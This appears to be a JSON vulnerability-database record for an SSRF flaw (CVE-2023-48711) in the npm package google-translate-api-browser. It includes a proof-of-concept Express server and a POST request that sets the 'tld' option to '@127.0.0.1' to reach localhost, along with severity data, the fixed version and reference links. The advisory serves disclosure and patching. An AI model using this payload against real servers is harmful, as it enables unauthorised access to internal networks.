{"id":"CVE-2023-48711","aliases":["GHSA-4233-7q5q-m7p6"],"url":"https://o3.security/vulnerability/CVE-2023-48711","summary":"Server-Side Request Forgery (SSRF) Vulnerability in google-translate-api-browser","details":"### Summary\nA Server-Side Request Forgery (SSRF) Vulnerability is present in applications utilizing the `google-translate-api-browser` package and exposing the `translateOptions` to the end user. An attacker can set a malicious `tld`, causing the application to return unsafe URLs pointing towards local resources.\n\n### Details\nThe `translateOptions.tld` field is not properly sanitized before being placed in the Google translate URL. This can allow an attacker with control over the `translateOptions` to set the `tld` to a payload such as `@127.0.0.1`. This causes the full URL to become `https://translate.google.@127.0.0.1/...`, where `translate.google.` is the username used to connect to localhost.\n\n### PoC\nImagine a server running the following code (closely mimicking the code present in the package's README):\n```javascript\nconst express = require('express');\nconst { generateRequestUrl, normaliseResponse } = require('google-translate-api-browser');\nconst https = require('https');\n\nconst app = express();\napp.use(express.json());\n\napp.post('/translate', async (req, res) => {\n    const { text, options } = req.body;\n\n    const url = generateRequestUrl(text, options);\n\n    https.get(url, (resp) => {\n        let data = '';\n      \n        resp.on('data', (chunk) => {\n          data += chunk;\n        });\n      \n        resp.on('end', () => {\n            res.json(normaliseResponse(JSON.parse(data)));\n        });\n      }).on(\"error\", (err) => {\n        console.log(\"Error: \" + err.message);\n      });\n});\n\nconst port = 3000;\napp.listen(port, () => {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nAn attacker can then send the following POST request to `/translate`:\n```\nPOST /translate HTTP/1.1\nHost: localhost:3000\nContent-Type: application/json\nContent-Length: 51\n\n{\"text\":\"Hello\",\"options\": {\"tld\": \"@127.0.0.1\"}  }\n```\n\nThis will cause a request to be sent to the localhost of the server running the Node application.\n\n### Impact\nAn attacker can send requests within internal networks and the local host. Should any HTTPS application be present on the internal network with a vulnerability exploitable via a GET call, then it would be possible to exploit this using this vulnerability.\n","published":"2023-11-24T17:06:15.019Z","modified":"2026-08-12T03:51:44.680382199Z","cvss":{"score":3.7,"severity":"LOW","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"google-translate-api-browser","fixedVersion":"4.1.0"}],"fix":{"url":"https://github.com/cjvnjde/google-translate-api-browser/commit/33c2eac4a21c6504409e7b06dd16e6346f93d34b","label":"cjvnjde/google-translate-api-browser@33c2eac"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/48xxx/CVE-2023-48711.json"},{"type":"ADVISORY","url":"https://github.com/cjvnjde/google-translate-api-browser/security/advisories/GHSA-4233-7q5q-m7p6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-48711"},{"type":"FIX","url":"https://github.com/cjvnjde/google-translate-api-browser/commit/33c2eac4a21c6504409e7b06dd16e6346f93d34b"},{"type":"PACKAGE","url":"https://github.com/cjvnjde/google-translate-api-browser"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:44.680382199Z"}}